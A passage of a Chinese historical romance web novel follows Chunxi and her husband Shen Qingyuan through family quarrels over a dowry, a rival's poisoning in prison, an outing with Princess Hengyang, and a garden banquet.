“就是就是,这媳妇儿娶回家就是伺候一家老小的,更何况她的出身还这么低……” 几人越说越激动,正想劝沈清渊休了春喜再娶个门第更高的新妇,下一刻却听到沈清渊说:“我夫人在睡觉,你们吵到她了。” 沈清渊的声音不大,语气也算得上温和,却莫名压下了所有人的声音,让人感觉危险。 几人这才想起,他们很少在侯府待,跟这个侄子根本不熟,也没有资格对人家指手画脚。 几人面面相觑,最终还是把沈金花推出来说话。 “咳咳,渊儿,现在你继母死了,莫芸婉也被官府抓了,现在侯府没有外人,都是自己人,再没有人敢对你们不好,你们是不是可以搬回去住啦?” 莫氏一死,侯府几乎成了空架子,沈家这么多人都等着吃饭呢,沈清渊和春喜不回去,他们上哪儿去拿好处? 不等沈清渊回答,沈金花继续道:“阿喜之前已经回侯府住了好几天,亲口跟我说只要把莫芸婉赶出侯府,就会劝你回家来住,而且还会把你母亲的嫁妆交给祖母保管,到时咱们一家人齐心协力,定会让你更上一层楼的。” 沈金花叫得亲昵,听着好像她跟春喜的关系很好,这话里话外也像是沈家人能在官场上给沈清渊提供非常大的助力。 然而她刚刚说完,就听到沈清渊反问:“谁告诉你她有资格处理我娘的嫁妆?” 沈金花脱口而出:“你不是很喜欢她吗,她说的话你不听?” “我是喜欢她,但这跟我娘的嫁妆有什么关系,你们怎么不去要她自己的嫁妆?” 她也没有啊。 谁不知道她出身低微,嫁进侯府的时候连婚礼都没办,哪里来的嫁妆? 虽说后来皇后娘娘下旨给补办了婚礼,还给了陪嫁,但那是皇后娘娘给的,谁敢去要啊? “可是她都答应了……” 沈金花底气不足地重复,沈清渊凉凉地斜睨了她一眼:“根据昭陵律法,嫁妆乃女子私物,夫家无权侵占,若她早亡,嫁妆归其亲生子女继承,旁人若敢觊觎,轻则鞭笞四十,重则杖毙。” 这律书条例沈清渊背得很熟,从他口中说出来,更是威慑力十足。 已经有个莫芸婉被抓进牢里了,沈家众人也不敢在沈清渊面前太放肆,只能不甘不愿地离开。 回到侯府,吴氏见几人空手而归,当即提出要瓜分春喜给沈金花的那两间铺子。 沈金花当场垮脸:“娘,这两间铺子是阿喜给我的酬劳,我帮她骗莫芸婉,还在云山寺那么多人面前帮她作证,这是我应得的。” 沈家老二不以为然:“不过是碰碰嘴皮子的事,哪里值得了两间铺子,这明明是渊儿那媳妇儿孝敬娘的。” 沈家老三性子急,直接伸手去抓沈金花:“你一个外嫁妇早就是别人家的人了,凭什么掺和娘家的事,快把铺子交出来。” 沈家老三动了手,老四也不甘落后,很快,几人便扭打在了一起。 整个主院哭闹成一团,吴氏的太阳穴突突地跳。 曹春喜是不是早就想好用这两间铺子让他们狗咬狗? 沈金花他们离开没多久,宁氏又来了。 沈清渊的粥已熬好,切了一点儿春喜腌的萝卜干正吃着,宁氏一来就跪了下去:“沈大人,求你高抬贵手放过婉儿吧,毕竟当年你们也算是夫妻一场啊。” 春喜放了辣椒和花椒,腌制之后,萝卜没了辛辣味道,又脆又香,很是开胃。 沈清渊咽下嘴里的东西才幽幽开口:“当年商议这门婚事时,我并不在瀚京,是你们擅自定下的,后来她打着找我的名义与戏子奔逃,害我背上克妻的骂名,死而复生后,为了害我夫人,又不惜私通嫁给了三弟,如今更是毒害侯府夫人,你要我如何饶她?” 沈清渊每说一句,宁氏的脸就白一分,到最后,已是面色惨白,毫无血色:“你继母和贾嬷嬷都已经死了,你……你是如何知道真相的?” “万事万物皆有迹可循,她既做了这些事,总能查到蛛丝马迹。” 宁氏失魂落魄地离开,等春喜醒来,院里又恢复了往日的宁静,只有沈清渊坐在院里看书。 腰疼得厉害,春喜的眼神不免哀怨,沈清渊忽地抬头看过来:“夫人为何如此欲求不满地看着为夫,莫不是对为夫昨夜的表现不满意?” 春喜连忙挤出一抹笑,摇头。 满意,她可太满意了! 沈清渊不肯放过莫芸婉,莫家也不愿意搭救她,宁氏最终只能自己去牢里看莫芸婉。 第182章 莫芸婉死了 京兆府大牢里,莫芸婉神情呆滞地坐在草垫上。 仵作验了莫氏的尸,确定莫氏是中毒而亡,贾嬷嬷的尸体也被找到了,罪证确凿,她逃不了。 但她还抱有一丝希望,盼着从徐州开始就一直在帮助她的神秘人能再救她一次。 只要能从这里出去,她愿意豁出性命去杀了曹春喜。 她不能活,让曹春喜垫背也是好的。 如此等了好几日,牢门终于再度被打开,宁氏提着食盒走了进来。 莫芸婉眼底立刻迸射出亮芒:“娘,你是来救女儿的吗?” 莫芸婉瘦了很多,也憔悴了很多。 宁氏瞬间红了眼,她在莫芸婉面前蹲下,爱怜地轻抚莫芸婉的脸颊:“婉儿,娘已经好多年没有机会跟你好好说说话了。” 宁氏的声音带着哭腔,眼睛也肿得厉害,莫芸婉瞬间意识到不对劲,她连忙抓住宁氏的手:“娘,你去找沈清宇,就说我腹中有了他的骨肉,他已经被我迷得神魂颠倒,肯定会想办法救我的。” 宁氏激动落泪:“你……当真有孩子了?什么时候的事?” 莫芸婉却咬紧了唇。 她没有怀孕,她只是想以此为借口,让沈清宇心疼来救她罢了,她需要神秘人的帮助,逃过京兆府的盘查。 这般想着,莫芸婉压低声音:“娘,你去城东的柳记桐油铺找他们的掌柜,让掌柜转告他们背后的人,只要他能救我出去,我会豁出性命去杀了曹春喜!” 宁氏没想到莫芸婉这个时候竟然还想着要跟春喜斗,她忍不住劝:“婉儿,若是真的有机会能从这里出去,你该找个地方好好生活才是,怎么能还想着跟曹春喜纠缠不清呢。” “我都被曹春喜害成这样了,怎么可能就这样算了?”莫芸婉满眼怨毒,抓着宁氏的手哀求,“娘,沈清渊的妻子应该是我,是曹春喜抢了原本属于我的一切,她还设下毒计害我,你要帮我报仇!” 宁氏虽然心疼女儿,却也不能完全赞同莫芸婉的话。 这沈少夫人的位置是她自己放弃不要的,就连如今入狱,也是因为她谋害了莫氏,并不是曹春喜故意诬陷。 宁氏觉得莫芸婉有些走火入魔了,她没有接这个话题,打开食盒把里面的饭菜端出来。 “好了婉儿,先不想这些,娘带了你以前最爱吃的菜,尝尝味道如何,待会儿娘就去那个柳记桐油铺帮你传话。” 宁氏声音温柔,满是疼惜,莫芸婉确实也饿了,她接过碗筷大口大口地吃起来。 然而才吃了几口,面容忽然狰狞地皱起,她难以置信地瞪着宁氏,宁氏不明所以:“婉儿,你怎么了?你别吓娘啊。” “娘……连你也……害我。” 莫芸婉嘴巴张合,艰难地发出声音,唇边不断溢出黑血。 宁氏目眦欲裂,她慌乱地抱住莫芸婉,惊声尖叫:“救命啊,快来人啊,快来救救我女儿!” 京兆府的狱卒闻声赶来,然而不等大夫来到狱中,莫芸婉就七窍流血,没了声息。 眼睁睁地看着女儿死在怀中,宁氏整个人陷入疯癫状态,她紧紧抱着莫芸婉的尸首,大声怒道:“是曹春喜害死我女儿的,你们快去抓她,我要她给我女儿偿命!” 宁氏喊了许久都没有人理会,好不容易等她喊累了,狱卒才说:“下毒的夫人身边的婆子,她说几年前莫小姐假死奔逃,莫家杖毙了她的女儿,她也要让夫人尝尝丧女之痛,那婆子已经签字画押,罪证也已找到,夫人要亲自去看看吗?” 宁氏耳朵嗡鸣,只断断续续听了个大概,她摇头道:“不是这个人害死我女儿的,她一定是被曹春喜收买了,你们去抓曹春喜,给曹春喜上大刑,曹春喜肯定会招认的!” “人家可是三品大臣的夫人,哪能因为你一两句话就把人抓到牢里来上大刑?” 狱卒已失去耐心,不耐烦地说出事实。 宁氏还要发疯,狱卒直接强行把她拉开:“你女儿已经死了,而且就算她今日不被毒死,谋害婆母可是要被五马分尸的,她现在死好歹还能留个全尸。” “你这话是什么意思?我女儿被人毒杀了,我难道还要对凶手感恩戴德不成?” 宁氏悲痛不已,忘了世家夫人的体面,扑上去挠花狱卒的脸。 狱卒吃了痛,也不再忍让,把宁氏强行拽出牢房。 “此案尚未了结,莫小姐的尸身还要放在府衙存放一段时日,请夫人回家等消息,莫要在此胡搅蛮缠,不然小心我们对你不客气!” “你们还想如何对我不客气?杀了我吗?” 宁氏完全失去理智,想要扑上去继续闹事,胳膊忽地被拉住,然后是熟悉又细软的声音:“二舅母,别这样。” 这声音,像极了她的婉儿。 宁氏猛然回头,看到的却是沈清迟清清瘦瘦的小脸。 不是婉儿,婉儿还在牢里呢,牢里又冷又潮,还有老鼠虫蚁,她不能把婉儿留在这里,她要带婉儿回家。 宁氏想甩开沈清迟的手继续往里闯,沈清迟先一步抱住了她,在她耳边低语:“二舅母,相信我,我会帮你的。” 沈清迟的身量和莫芸婉差不多,身上还有着和莫芸婉一样的香味,宁氏浑身一震,终于放声大哭起来。 等她哭够了,沈清迟才把她带到马车上,细细地帮她擦掉眼泪。 宁氏哭得脑袋胀痛,却恢复了一些理智,她防备地看着沈清迟:“现在所有人都知道是婉儿谋害了你娘,你方才却说要帮我,你就不怕你娘在九泉之下骂你是不孝女?” 听到莫氏的死,沈清迟没有半点儿难过,反而勾了勾唇,自嘲道:“娘活着的时候也没少骂我不孝,而且现在婉儿表姐已经死了,有什么恩怨,娘可以自己在下面找婉儿表姐说清楚,我总不能因为娘连外祖母和舅舅都不认了吧?” 沈清迟的语气挺薄凉的,宁氏皱了皱眉,还想说些什么,沈清迟抢先一步道:“我来找二舅母,是因为我们有一个共同的仇人,二舅母就不想杀了曹春喜么?” 宁氏到嘴边的话都咽了下去,布满血丝的眸底浮起亮光。 她一定要完成婉儿的遗愿! 第183章 看来你家老沈很厉害 莫芸婉一死,幕后之人的线索就断了,京兆府草草结案。 春喜对此倒是并不意外。 卫凌泽这次只是一时冲动才会上当,但平时做事都很隐秘,莫芸婉谋害莫氏的事被揭发,卫凌泽自然不会再留着这颗弃子。 如今被停职,不知何时才能起复,卫凌泽只怕恨毒了自己,总会再找机会对自己下手的。 不着急,慢慢来。 使臣团入京之事很重要,莫氏的案子一结,沈清渊就回了御史台上值,春喜也没闲着,着手打理起手头的产业来。 没两日,恒阳公主派人送来帖子,邀春喜秋游。 春喜欣然应邀,还特地做了两盒糕点带上。 出游当日,恒阳公主直接坐着马车来接春喜,上车后,春喜打开食盒:“臣妇别无所长,只有厨艺还算不错,臣妇也不知公主是否有忌口,斗胆做了桂花米糕和栗子酥来给公主尝尝。” 春喜说完拿起一块桂花米糕掰了一半放进自己嘴里,然后又要去拿栗子酥,却被恒阳公主抢了先:“专程送给我的东西,你怎么还先吃上了?” 春喜咕噜一声咽下嘴里的东西,如实道:“臣妇在为公主试毒。” 在卫家时她曾听人说,皇室贵族入口之物都是要试毒之后再吃的,更何况莫芸婉前不久还在京兆府大牢被毒死了,公主要谨慎一些也是应该的。 恒阳公主被春喜的认真逗乐:“你可真是可爱,本公主这里没有那么多规矩,若是怕被人害,本公主就躲在公主府不要出门好了。” 说着话,恒阳公主一口吃掉了手里的栗子酥。 春喜做的东西当然比不得御厨做的山珍海味,但恒阳公主还是狠狠夸了她一番。 城门口还有马车接应,恒阳公主没让丫鬟跟着,和春喜一人捧着一盘点心上了马车。 没多久,马车来到城郊一处山谷之中。 车刚停稳,外面便传来一道熟悉又温和的声音:“恭迎贵客。” 春喜掀开帘子,果不其然看见岚舒含笑的脸。 许是为了与风景搭配,岚舒今日穿了一身青绿色绣枫叶锦衣,衣服领口颇为宽松,露出修长的脖子和锁骨,衬得那双含笑的眸子像是狐狸眼。 之前见面春喜只觉得岚舒温润有礼,长得还好看,这会儿在日光下才发现他活脱脱是只狐狸精。 上次多亏了无忧阁帮忙才能成事,春喜下意识地露出笑容:“岚舒公子,好久不见。” 岚舒亦笑得开怀:“好久不见。” 说着话,岚舒伸手来扶,春喜没敢伸手,侧身看向恒阳公主,恒阳公主把手里的栗子酥交给岚舒,扶着他的手下了马车,幽幽开口:“前些日子不是才选过魁首吗,怎么这么快又来新人了?” “回贵人,徐州去年遭了水灾,好多人家破人亡,如今贪官虽除,却还是有很多孩子无家可归,无忧阁从去年开始就陆陆续续收容了一批姿色不错的孩子,若有能入得贵人们眼的,也算是他们的福分。” 听到徐州二字,恒阳公主偏头看向春喜。 春喜不明所以:“公主,怎么了?” 恒阳公主淡淡道:“没什么,只是想到你之前去过徐州,我以为你会可怜那些人,骂我不知人间疾苦。” “那些人确实可怜,但他们的苦难不是公主造成的,而且朝廷已经发放了赈灾款,也惩治了贪官,我若可怜他们,可以出钱为他们赎身,断没有指责公主、慷他人之慨的道理。” 春喜很拎得清,恒阳公主眉梢微扬,对春喜的喜欢更甚:“你不觉得我这样很可恶?” “沦落风尘的无论男女,皆是可怜之人,可恶的是逼得他们活不下去只能出卖色相的人,与公主何干?” “哈哈哈,”恒阳公主朗声笑起,“本公主见过许多自诩才高八斗的人,如今却发现他们还不如阿喜你明事理呢。” 说着话,三人顺着一条小路来到山谷上方一处高地。 无忧阁的人事先在地上铺了木板,板子上设有蒲团矮桌,桌上有小炉和茶叶,还有时令的果子和精致的糕点,周围有树木遮挡,还用竹帘围了一下,坐在这里便能轻松看到山谷里的风光,其他人却无法窥视竹帘之内坐的是什么人。 春喜不由得再一次感叹,无忧阁的票卖得贵是有道理的。 “请贵人稍坐片刻,表演一会儿就开始。” 岚舒说着跪在蒲团上,点燃炉火开始煮茶。 他显然是深谙茶道的,一套动作不仅做得行云流水,还很赏心悦目。 恒阳公主落座欣赏了一会儿,便有一群少年纵马而来。 天气虽然已经凉下来,这些少年却都未着上衣,露出精壮结实的胸膛,腰肢更是不停地上下起伏,每动一下,肌理线条都清晰可见。 这些少年人似乎并不知道暗中有多少窥视的目光,只纵情策马,恣意洒脱,鲜活极了。 “还真是年轻啊。” 恒阳公主忍不住感叹了一句。 她已过而立之年,虽然保养得宜,风华正茂,丝毫不显老态,但看到这样一群少年人还是觉得自己老了。 春喜正想安慰两句,恒阳公主忽然扭头看过来:“阿喜,你家老沈可是比你大好多岁呢,你就不想试试年轻点儿的?” 到嘴边的安慰噎了回去,春喜很认真地替沈清渊解释:“公主,我家夫君虽然年长我一些,但一点儿都不老。” “哦?看来老沈在床榻之上很是威风啊,”恒阳公主面含戏谑,不等春喜转移话题又道,“我还以为他跟我家那个木头桩子一样,哪怕是我脱光了站在他面前,他也能无动于衷呢。” “……”!!! 这么私密的闺房话,公主你就不用说给我听了吧! 春喜想要保持镇定,瞳孔却控制不住颤动,下一刻却又听到恒阳公主说:“你还不知道吧,我家那个木头,和你家老沈是同窗,那年你家老沈夺得魁首风光无两,他中探花尚公主,亦是春风得意,两人站在一起,比今日这些人瞩目多了。” 说到最后一句话,恒阳公主的表情有些恍惚,陷入了某些久远的记忆之中。 春喜却是震惊不已。 她昨日跟大人说要与恒阳公主同游,大人也没说过跟驸马爷是同窗啊,大人跟恒阳公主应该不熟……吧? 第184章 夫人准备纳小? 山谷之中有条小溪,一群少年人策马累了,便又到溪里戏水。 裤子湿透后紧紧贴着大腿,身体曲线显露无遗。 众人纷纷出价竞拍,恒阳公主花了两千两拍了一个叫阿鲤的少年。 少年人不过十七八的模样,皮肤是好看的麦色,身量高大,虽还未长成,但肩背已开始有了成年男子的宽阔。 他一身湿漉漉地走来,眼眸亮闪闪的,嘴一咧便露出洁白整齐的牙齿,像是秋日早晨的阳光,带着稻香。 “阿鲤见过二位贵客。” 掀帘而入,阿鲤跪下问好,声音有些哑,是介于少年和男人之间的独特音色。 挺好听的。 春喜平时瞧着胆子挺大的,这会儿却不敢多看,尤其在知道驸马和自家大人是同窗之后,就更不敢放肆了。 恒阳公主撑着脑袋懒洋洋地将阿鲤从头打量到了脚,目光扫过腰际,还多停留了一会儿。 受过调教,阿鲤并未害羞,反而大大方方地展示自己。 恒阳公主满意地收回目光,问:“你都会些什么?” “回贵客,阿鲤自小在河边长大,水性极好,最长可以在水里憋一炷香的时间。” 这回答听起来很实诚,并没有刻意迎合攀附恒阳公主的意思,反而有种特别的野趣,恒阳公主果然被勾起兴趣,细细问起他以前的捕鱼生活来。 阿鲤洗了手,一边给恒阳公主喂点心一边作答,后来更是把阿爹晾晒鱼干的秘方都分享出来。 只可惜去年洪灾,他阿爹被洪流卷走,尸身都没找回来。 事情已经过去一年,阿鲤提起阿爹的死已经很平静了,就像是在说一件很寻常的事,并未刻意渲染自己有多可怜。 恒阳公主大手一挥,又给了一百两的赏银。 阿鲤跪着上前接过银票,正想低头做些什么,恒阳公主制止了他:“不必,今日本公主只想听故事。” 阿鲤眼底闪过失落,而后又鼓足勇气说:“阿鲤想要一直侍奉在贵客左右,贵客能带阿鲤走吗?” 妓子都想被恩客赎身,无忧阁的小倌亦是如此。 “我从不带人回家,”恒阳公主毫不犹豫地拒绝,而后道,“不过我可以帮你赎身,你跟她走吧。” 恒阳公主下巴微抬,阿鲤亮闪闪的眸子立刻锁定春喜。 像是关在笼子里等着被买的小狗,尾巴疯狂地摇起来。 春喜正在喝茶,顿时呛得咳嗽起来。 她急急道:“我……我家里恐怕也不太方便。” 她都还没想好怎么跟自家大人解释自己又跟着公主来无忧阁看表演的事,又带这么个人回去算怎么回事? 恒阳公主被春喜的反应逗乐,弯眸道:“你就跟你家老沈说,人是我非要送你的,你不敢不要,他不会怪罪你的。” 恒阳公主话音刚落,阿鲤就砰砰砰地磕起头来:“求贵客收下阿鲤吧,阿鲤能吃苦,什么活都能干,绝不会给贵客惹麻烦的。” 阿鲤说得很快,语气带着两分惶然,生怕春喜不要他。 看着这一幕,春喜一下子想到了多年前的自己。 那时她也是这样磕着头一句句求着把自己卖进卫家的。 “别磕了,我带你回家,你起来吧。” 春喜松了口,阿鲤又磕了两个头谢恩。 恒阳公主给了赎身的钱,阿鲤去换衣服,岚舒把阿鲤的卖身契交给春喜,并且贴心道:“贵客放心,阿鲤以后就是你的奴,不会有人知道他之前在无忧阁做过事的。” 今天不知道有多少人见过阿鲤,怎可能没人知道? 春喜正觉疑惑,换做小厮打扮的阿鲤走回来。 他微垂着脑袋,脸还是那张脸,却没了方才的俊朗阳光,普通极了,很难让人相信这是同一个人。 春喜忍不住诧异,恒阳公主挑眉看向岚舒:“你们无忧阁给人改头换面的技艺真是越发的出神入化了,下回再来,得让他们都洗干净脸才行。” 岚舒弯眸,笑得温和:“贵客放心,无忧阁绝不敢以次充好,糊弄客人。” 不知不觉,日头开始西斜,少年们撤离后,一众客人也都在无忧阁的安排下隐秘离开。 春喜到家时,沈清渊还没回来。 她让管事先带阿鲤去熟悉环境,而后在小厨房忙活起来。 他们两个人吃得不多,春喜蒸了一屉羊肉,弄了一小碗红油蘸水,加一盘凉拌三丝和一个三鲜汤。 沈清渊踏入院中,春喜正好把饭菜端上桌。 “夫君回来啦,快洗洗手用饭吧。” 春喜笑容灿烂,热切招呼。 沈清渊洗了手回到桌边坐下,有些好奇:“夫人今日不是陪公主出门游玩了吗,不累?” 也就是坐着看着一群少年郎表演,确实不累。 春喜有些心虚:“我是陪公主去玩的,当然不累啊,夫君在御史台忙公务,实在辛苦,我早些回来准备饭菜是应该的。” 说着话,春喜夹了一块羊肉给沈清渊。 沈清渊蘸了一点儿蘸水吃下,点头夸赞:“好吃。” 瞧着和平日没什么两样。 春喜犹豫再三,还是试探着说:“青书走后,夫君身边就没有得力的人手了,今日我和公主出游,碰到一个身世可怜的孩子,我想着夫君身边缺人,就将他带了回来,夫君不会怪我擅作主张吧。” “夫人是为我好,我当欢喜才是,怎会怨怪夫人,那孩子呢?” 沈清渊很容易就接受了这件事,春喜松了口气,这才让管事把阿鲤带来。 “阿鲤见过主子。” 春喜已与阿鲤说过让他以后跟在沈清渊身边做事,见到沈清渊,阿鲤立刻跪下认主。 沈清渊让阿鲤起身,盯着阿鲤看了一会儿,幽幽开口:“我以为夫人口中的孩子只有七八岁,没想到竟然是十七八岁的少年郎啊。” 沈清渊的语气很平静,听不出喜怒,春喜却做贼心虚,整个人都绷了起来。 她想说点儿什么,又听到沈清渊意味不明的声音:“长得挺好看的,难怪能被夫人选中。” “……” 春喜实在受不住良心的折磨,认命地坦白:“夫君,我实话跟你说吧,阿鲤是我从无忧阁带回来的,但票钱和阿鲤赎身的钱都是公主出的。” 沈清渊毫不意外地点点头:“所以夫人是仗着有公主撑腰准备纳小?” “……”??? 第185章 为夫可以帮夫人热饭 “夫君,这种话可不能乱说,我要是敢对夫君有二心,别说我爹,就是老曹家的列祖列宗在天有灵都不会放过我的!” 春喜扑过去捂了沈清渊的嘴。 她扑得太急,沈清渊连同身下的椅子都跟着往后仰了仰。 沈清渊立刻伸手环住春喜的腰肢,免得她摔倒受伤。 春喜没有注意到这个小细节,只认真盯着沈清渊道:“今生能嫁给夫君,是我最幸运的事,就算夫君比我先老,我也绝对不会嫌弃夫君,更不可能移情别恋,我曹春喜这辈子,只喜欢夫君一人,若有违背,不得好……” 春喜毫不犹豫就要发毒誓,沈清渊眼疾手快地捏住她的唇瓣,没让她把最后一个字吐出来。 “好了,我已经知道夫人的心意了,夫人不必如此,”沈清渊说完看向阿鲤,“以后你就跟着我,具体有什么规矩我晚些再告诉你,下去吧。” 阿鲤退下后,春喜还趴在沈清渊怀里不肯起来,沈清渊在她臀上轻拍了下:“夫人再不起来,这把椅子就要散架了。” 春喜没动,小声哼哼:“夫君与驸马爷是同窗,分明早就知道我与公主今日并非普通出游,却故意看我笑话,我感觉我的心好受伤,我起不来了。” 说着话,春喜环住沈清渊的脖子,跨坐在他腿上。 局势瞬间扭转,变成了春喜审问他。 沈清渊眸子微暗,倒也没有急着把春喜赶下来,温声道:“夫人今日看了一堆年轻貌美的儿郎,该受伤的不是我吗?” “他们就像花园里的花,开得娇美,我不过是欣赏了两眼,看过就忘了,但夫君不一样,夫君扎根在我心田,我时时刻刻都念着想着夫君呢。” 反正都说开了,春喜这会儿很是理直气壮。 沈清渊很喜欢她在自己面前恣意妄为的模样,没再逗她,认真道:“我与驸马确实是同窗,之前关系还挺好的,在与公主成婚之前,他其实有一个喜欢的人,我曾劝他抗旨不娶,不小心被公主听到了。” “……” 毁人姻缘还被人抓了现行,春喜想想都替沈清渊尴尬。 她皱了皱眉问:“这事都过去多少年了,夫君不会觉得公主一直记在心里,还用这种法子报复你吧?” 话音刚落,春喜的额头就被沈清渊弹了一下,沈清渊没有用太大的力气,但春喜当即意识到自己说错了话,连忙改口认错,沈清渊这才继续道:“他们二人婚后过得并不如意,公主愿意与你交好,还送人给你,想来是谢我当年提醒之情。” 不愧是公主,这谢礼和答谢方式都挺特别的。 春喜在心里感叹了一下,忍了又忍,还是忍不住追问:“既然驸马没有抗旨,那便是愿意放弃旧爱好好跟公主过日子,为何会不如意?难道是驸马那位旧爱做了什么?” “具体发生了什么我不太清楚,但驸马早就与那位断了来往。” “夫君为何如此肯定?” “因为在驸马和公主成婚后,那位就嫁给太傅幼子,做了太傅府的五夫人,婚后没多久就随夫去了翁州常住。” 翁州和瀚京相距千里,两人确实不太可能藕断丝连。 春喜点点头,准备起身坐回自己的位置,腰肢被箍住,春喜顿觉不妙,连忙提醒:“夫君,饭还没吃完呢,我刚刚才吃了两口。” 沈清渊就着这个姿势抱着春喜往屋里走:“无妨,晚点儿吃也一样。” “晚点儿饭菜就冷了。” 春喜试图挣扎,沈清渊关上门,把她抵在门上:“为夫可以帮夫人热。” “可是……唔!” 春喜话没说完,就被封了唇。 许是要证明自己不比十七八的愣头青差,沈清渊表现得相当勇猛,春喜的腰都差点儿被门板磨破皮。 沈清渊最后遵守承诺去热了饭菜,春喜却连拿筷子的力气都没有。 第二日春喜没出门,甚至连床都没下,就在屋里休息,傍晚时分,她接到萧清禾的来信,约她两日后在醉仙楼吃饭。 禾儿这信来得挺快的,她还以为要等好些时日呢。 两日后,春喜按时赴约,她到醉仙楼时,萧清禾已经到了。 好些日子不见,萧清禾倒是没什么变化,精神瞧着也不错。 萧清禾没让雀枝在屋里伺候,等春喜落了座,主动开口:“今日我是特意来向小婶婶道歉的。” “禾儿又没有做对不起我的事,有什么需要道歉的,反而是我上次没有与你商量就擅作主张,应该是我道歉才是。” “小婶婶没有跟我商量,是想让我借机看清枕边人究竟是个什么样的人,并非有意欺瞒,反而是要帮我,若我连这点都分不清,就枉费小婶婶这一番苦心了。” 萧清禾语气释然,目光却很坚定,显然已经做好抉择。 春喜松了口气,端起杯子跟她碰了一下:“禾儿如此聪慧,日后定会好运连连。” 两人同饮,喝完,萧清禾再度开口:“我已下定决心与卫凌泽和离。” 春喜眼前一亮,连忙又给萧清禾倒了杯酒,“禾儿,你能想通真是太好了,你这样好的姑娘,就该被人疼着宠着,万万不该为了不值得的人耗费光阴啊。” 春喜很为萧清禾高兴,被她的语气感染,萧清禾眼角带了笑,:“果然,小婶婶与旁人不同,并不会泼我冷水说我异想天开。” 世家大族联姻绝非儿戏,一旦婚成,不容有失,若要和离,便是两家交恶,对族中子弟影响都很大,纵然萧老夫人和萧夫人心疼萧清禾,支持她和离,也还要给双方族老一个合情合理的交代才行。 之前萧家推迟婚礼,已经担了骂名,如今萧清禾想和离还不累及萧家的名声更是难于登天。 “这怎么能是异想天开呢,”春喜听出萧清禾的怯意,轻快道,“我这样的出身,这样的经历,都嫁给你沈叔叔了,你还有萧家做靠山,踹掉一个狗男人算什么难事?” 萧清禾:“……” 这样一听好像确实不太难,而且小婶婶骂卫凌泽好像骂得越来越顺口了。 见完萧清禾第二日,春喜又收到了恒阳公主的帖子。 她实在闲不住,又在公主府办起了赏菊宴。 第186章 赏花宴 公主府这次的赏花宴办得比春喜想象中的大,受邀来的女眷也比春喜想象中的多。 春喜出发得晚了点儿,在离公主府还有两条街的时候被堵住,等她到时,公主府外已停满马车。 不过公主府的下人显然很有经验应对这样的事,有条不紊地引着宾客进府,再领着车夫从后门把马车驾入府中马厩休息。 春喜排在人群最后进入公主府。 公主府是内务府负责督造的,宅邸宽阔,房檐屋脊皆有讲究,宅中园景皆是精心设计过的,一步一景,一窗一画,进到花园,更是花团锦簇。 各种品类的菊花皆在园中争相盛放,五彩斑斓,丝毫不输春日盛景。 春喜是第一次来公主府,也是第一次以客人的身份赏花,不免多看了两眼。 她正认真地看着一朵层层叠叠的粉菊,耳边忽地传来细细软软的呼唤:“大嫂。” 循声回头,春喜看到了沈清迟含泪的脸。 好些日子不见,她似乎又清瘦了些,脸上挂着泪痕,竟然和当初在徐州的莫芸婉有两分相似,柔弱且哀愁,很是让人可怜。 花园中宾客云集,沈清迟这一哭,引得不少人频频望来。 “我是应公主所邀来赏花的,也没碍着妹妹什么事,妹妹怎的哭得如此伤心,之前母亲葬礼,也没见妹妹回家哭丧,这会儿对着我哭有什么用,不知道的还以为我怎么你了呢。” 沈清迟不明不白地当众落泪,春喜却不能背这个锅,她扬着声,把自己摘得很干净。 感受到众人投来异样的目光,沈清迟连忙擦干眼泪,小声解释:“大嫂对不起,我不是故意要哭的,只是好些日子没看见大嫂,一时没忍住。” 沈清迟身边还跟了个圆脸小丫鬟,那丫鬟跟着道:“主子在府里的日子很不好过,好不容易见到家人才会如此,夫人这样说话实在是太伤主子的心了。” 春喜毫无愧意。 她不过是实话实说,怎么就伤人了? 又不是她逼着沈清迟去太傅府给人做妾的,不过一个妾室怎能来公主府抛头露面? 春喜刚升起疑惑,沈清迟就呵斥了丫鬟一句,而后解释:“我已有孕,夫君已将我扶为正妻,今日所以才能来公主府赴宴。” 沈清迟说着摸了摸尚未显怀的肚子,脸上浮起慈爱的笑,同时期盼地看着春喜,约莫希望春喜能对这个未出世的孩子有些喜欢。 春喜说不出恭喜,反而往后退了一步和沈清迟拉开距离:“夫人既然有孕了,就该避着人群一些,这不是夫人该凑热闹的地方。” 春喜后退的动作伤到了沈清迟,她脸上的笑意僵住,眼眶复又红起来:“大嫂,我已经知道错了,当初都是我不好,你能不能原谅我?” 沈清迟说着便要下跪,春喜连忙大声道:“好妹妹,这大庭广众之下,你说话就说话,可别乱跪,母亲走了这么久你都没能跪着送她一程,我哪儿受得起啊。” 深宅之事一句两句解释不清,春喜只能揪着沈清迟没回家给莫氏守灵这一件事说。 众人原本觉得春喜这个做大嫂的很冷漠,像是欺负了小姑子,但听到沈清迟连自己的娘死了都没跪没哭,顿时都站到春喜那边。 一个连自己亲娘的丧礼都不参加的人,能是什么好东西? 沈清迟暗暗咬唇。 她没想到今日能在公主府碰到春喜,本想假意认错,仗着外面人多逼着春喜原谅自己,没想到春喜愣是不接招。 眼看众人的眼神越来越不善,沈清迟只能放弃下跪,红着眼说:“我知道大嫂不会轻易原谅我,但日久见人心,大嫂以后就会知道我是真的已经悔悟了。” 沈清迟说完行了一礼,带着丫鬟去往另一边。 春喜也没停留,跟着丫鬟找到恒阳公主。 恒阳公主已玩了两轮飞花令,见春喜到来,立刻抛下众人和春喜坐到凉亭之中,嘴上不住埋怨:“你怎么这么晚才来,我还以为你家老沈不让你来了呢。” “我家夫君才不是如此小气之人,他已经把阿鲤收为贴身随从了,我刚刚在外面堵住了,进府后又碰到了我那小姑子说了几句话,这才耽误了些时间。” 恒阳公主又打趣了春喜几句,而后问:“你那小姑子找你说什么?” 春喜简单说了沈清迟的事,恒阳公主听完挑眉:“你这小姑子都被如此羞辱了,还自己送上门去做妾,短短时日竟然就扶正了,看来有些本事啊,她如今翻了身,不会是要报复你吧?” 春喜也拿不准。 刚认识沈清迟的时候,她只觉得沈清迟胆小怕事,但心地是善良的,可如今她已经完全看不透沈清迟了。 春喜没接话,恒阳公主也没继续这个话题,让人煮了果酒送来,和春喜一杯杯对饮。 恒阳公主的酒量挺好的,见春喜一杯接一杯地喝完还面不改色,顿觉高兴:“我府中藏了好多好久,一直苦于没人共饮,我看你酒量不错,以后多来府里陪我喝酒呀。” 春喜点头应下,又喝了几杯之后,恒阳公主突然低声问她:“你可有发现今日好多人都在偷看本公主?” 春喜对这些目光挺敏感的,闻言点点头:“公主今日艳美无双,她们想多看两眼也是正常的。” 春喜是由衷的夸赞。 恒阳公主今日一身华服,头上还簪着两朵盛放的菊花,整个人尊贵又美艳,雍容华贵极了。 恒阳公主听完大笑起来,一时间窥探的目光更多了。 